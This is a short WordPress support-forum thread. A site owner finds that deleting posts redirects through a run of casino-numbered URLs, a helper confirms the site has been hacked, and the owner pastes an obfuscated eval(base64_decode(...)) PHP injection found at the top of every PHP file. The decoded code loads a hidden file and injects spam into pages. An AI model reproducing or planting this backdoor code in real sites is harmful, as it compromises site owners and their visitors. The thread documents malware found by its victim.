Support » Plugins and Hacks » Cannot Delete Post may have been hacked

  • I am not really sure what happened but it is very strange

    The posts will not delete and it actually goes to another page look at link below for screen shot it goes from 0=999

    I am afraid I was hacked – not sure how or even when. I looked at the edit.php file and it had some strange coded garbage at the top, I deleted it but it is still acting in the same manner.

    http://theord.com/images/wordpressHacked.png

Viewing 5 replies - 1 through 5 (of 5 total)
  • whooami

    (@whooami)

    Member

    I am afraid I was hacked

    Theres no question in this post.

    Do you have a question?

    Sorry I cannot delete a post it when I do I get this page

    http://theord.com/wp-admin/edit.php/?casino=0
    http://theord.com/wp-admin/edit.php/?casino=1
    http://theord.com/wp-admin/edit.php/?casino=2
    http://theord.com/wp-admin/edit.php/?casino=3
    http://theord.com/wp-admin/edit.php/?casino=4

    except it goes all the way to 999 I do not know why it is doing this?

    My question is have I been hacked and/or how do I get this fixed?

    Sorry for any confusion.

    whooami

    (@whooami)

    Member

    My question is have I been hacked

    Yes, you have.

    anyway I can fix this? Is it in the Database or is it a file? How could this of happened?

    Here is what I found on top of everyone of my *.php pages

    <? /**/eval(base64_decode(‘aWYoZnVuY3Rpb25fZXhpc3RzKCJvYl9zdGFydCIpICYmICFpc3NldCgkR0xPQkFMU1sic2hfbm8iXSkpeyRHTE9CQUxTWyJzaF9ubyJdPTE7JFI2QjZFOThDREU4QjMzMDg3QTMzRTREM0E0OTdCRDg2Qj0iL21udC93MDYwMS9kMzgvczE4L2IwMjdlNTdmL3d3dy9uZmJsb2cvd3AtaW5jbHVkZXMvanMvdGlueW1jZS90aGVtZXMvYWR2YW5jZWQvaW1hZ2VzL3hwL2pzLnBocCI7aWYoZmlsZV9leGlzdHMoJFI2QjZFOThDREU4QjMzMDg3QTMzRTREM0E0OTdCRDg2Qikpe2luY2x1ZGVfb25jZSgkUjZCNkU5OENERThCMzMwODdBMzNFNEQzQTQ5N0JEODZCKTt9aWYoIWZ1bmN0aW9uX2V4aXN0cygiZ3pkZWNvZGUiKSl7ZnVuY3Rpb24gZ3pkZWNvZGUoJFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4MkYwNjczMjg2OCl7JFI2QjZFOThDREU4QjMzMDg3QTMzRTREM0E0OTdCRDg2Qj1vcmQoc3Vic3RyKCRSMjBGRDY1RTlDNzQwNjAzNEZBREM2ODJGMDY3MzI4NjgsMywxKSk7JFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MT0xMDskUjBENTQyMzZEQTIwNTk0RUMxM0ZDODFCMjA5NzMzOTMxPTA7aWYoJFI2QjZFOThDREU4QjMzMDg3QTMzRTREM0E0OTdCRDg2QiY0KXskUjBENTQyMzZEQTIwNTk0RUMxM0ZDODFCMjA5NzMzOTMxPXVucGFjaygidiIsc3Vic3RyKCRSMjBGRDY1RTlDNzQwNjAzNEZBREM2ODJGMDY3MzI4NjgsMTAsMikpOyRSMEQ1NDIzNkRBMjA1OTRFQzEzRkM4MUIyMDk3MzM5MzE9JFIwRDU0MjM2REEyMDU5NEVDMTNGQzgxQjIwOTczMzkzMVsxXTskUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxKz0yKyRSMEQ1NDIzNkRBMjA1OTRFQzEzRkM4MUIyMDk3MzM5MzE7fWlmKCRSNkI2RTk4Q0RFOEIzMzA4N0EzM0U0RDNBNDk3QkQ4NkImOCl7JFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MT1zdHJwb3MoJFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4MkYwNjczMjg2OCxjaHIoMCksJFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MSkrMTt9aWYoJFI2QjZFOThDREU4QjMzMDg3QTMzRTREM0E0OTdCRDg2QiYxNil7JFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MT1zdHJwb3MoJFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4MkYwNjczMjg2OCxjaHIoMCksJFI2MDE2OUNEMUM0N0I3QTdBODVBQjQ0Rjg4NDYzNUU0MSkrMTt9aWYoJFI2QjZFOThDREU4QjMzMDg3QTMzRTREM0E0OTdCRDg2QiYyKXskUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxKz0yO30kUkM0QTVCNUUzMTBFRDRDMzIzRTA0RDcyQUZBRTM5RjUzPWd6aW5mbGF0ZShzdWJzdHIoJFIyMEZENjVFOUM3NDA2MDM0RkFEQzY4MkYwNjczMjg2OCwkUjYwMTY5Q0QxQzQ3QjdBN0E4NUFCNDRGODg0NjM1RTQxKSk7aWYoJFJDNEE1QjVFMzEwRUQ0QzMyM0UwNEQ3MkFGQUUzOUY1Mz09PUZBTFNFKXskUkM0QTVCNUUzMTBFRDRDMzIzRTA0RDcyQUZBRTM5RjUzPSRSMjBGRDY1RTlDNzQwNjAzNEZBREM2ODJGMDY3MzI4Njg7fXJldHVybiAkUkM0QTVCNUUzMTBFRDRDMzIzRTA0RDcyQUZBRTM5RjUzO319aWYoZnVuY3Rpb25fZXhpc3RzKCJnbWwiKSAmJiAhZnVuY3Rpb25fZXhpc3RzKCJkZ29iaCIpKXtmdW5jdGlvbiBkZ29iaCgkUkRBM0U2MTQxNEU1MEFFRTk2ODEzMkYwM0QyNjVFMENGKXtIZWFkZXIoIkNvbnRlbnQtRW5jb2Rpbmc6IG5vbmUiKTskUjNFMzNFMDE3Q0Q3NkI5QjdFNkM3MzY0RkI5MUUyRTkwPWd6ZGVjb2RlKCRSREEzRTYxNDE0RTUwQUVFOTY4MTMyRjAzRDI2NUUwQ0YpO2lmKHByZWdfbWF0Y2goIi9cPGJvZHkvc2kiLCRSM0UzM0UwMTdDRDc2QjlCN0U2QzczNjRGQjkxRTJFOTApKXtyZXR1cm4gcHJlZ19yZXBsYWNlKCIvKFw8Ym9keVteXD5dKlw+KS9zaSIsIiQxIi5nbWwoKSwkUjNFMzNFMDE3Q0Q3NkI5QjdFNkM3MzY0RkI5MUUyRTkwKTt9ZWxzZXtyZXR1cm4gZ21sKCkuJFIzRTMzRTAxN0NENzZCOUI3RTZDNzM2NEZCOTFFMkU5MDt9fW9iX3N0YXJ0KCJkZ29iaCIpO319’)); ?>

    This is ridiculous I will never know why these Hackers/Spammers do what they do.

    Anyway I think I can fix it, it will jsut take some time.

    I also changed all the permissions to all my files – I learned something today so I am going to use this as a blessing and move forward.

Viewing 5 replies - 1 through 5 (of 5 total)
  • The topic ‘Cannot Delete Post may have been hacked’ is closed to new replies.